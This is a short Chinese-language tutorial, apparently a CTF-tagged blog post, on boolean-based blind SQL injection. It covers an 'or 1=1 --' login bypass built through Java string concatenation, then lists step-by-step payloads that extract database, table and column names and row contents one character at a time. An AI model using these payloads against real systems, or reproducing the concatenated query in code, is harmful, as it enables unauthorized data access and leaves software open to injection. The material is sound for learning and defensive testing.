SQL注入——布尔注入

布尔注入

条件

当一个页面,存在注入,没显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常进行判断进行SQL注入。

例如:

String sql = null;
String a = "admin' or 1 = 1 -- ";
String b = 'abc';
sql = "select * from user where username = " + "'" + a + "'" + "and password = " + "'" + b + "'";

最终发送到数据库的语句就是

select * from user where username = 'admin' or 1 = 1 -- ' and password = 'abc';

上面的语句返回的结果就是数据库中的所有记录。
因为对于所有记录,它都会判断 username 是否等于 admin 或者 1 是否等于1,而1=1为true满足条件,就会被查出来,后面加了- -,就将 and password = 'abc'注释掉了,所以这里跳过了sql验证。

获取数据库名长度

length(database()) > 1
 #判断是否大于1,如果正确,就继续下去,直到错误

获取数据库名

ORD(mid(database(),1,1)) > 1

获取表名的长度

(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1
# 判断名为databse()数据库里第1个表的长度是否大于1,不停的判断,就能查到表的长度
# 这只是第一个表,要想获取第二个表,就将limit 0,1改为limit 1,1

获取表名

ORD(mid(TABLE_NAME,1,1)) > 1

获取表内字段个数

(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='mysql') > 1
# user是表名,mysql是数据库名

获取字段的长度

(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='mysql' limit 0,1) > 1
# 修改limit后面的参数即可获取目标字段的长度

获取字段的名字

select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'mysql' limit 0,1),1,1)) > 1
# 爆每个字段从第一位开始的十进制值

获取内容的长度

select (select length(username) from user limit 0,1) > 1
# 已经查出第一个字段的名字是username,查username的第一个内容长度

获取内容的值

select ORD(mid((select username from user limit 0,1),1,1)) > 1

上面涉及到的函数

函数 解释
length( ) 函数返回文本字段中值的长度
ord(String) 将String转换成十进制值
mid(String,a,b) 将String从a开始向后截取b个字符
limit m,n m 代表从 m+1 条记录行开始检索,n 代表取出 n 条数据。

你可能感兴趣的:(CTF)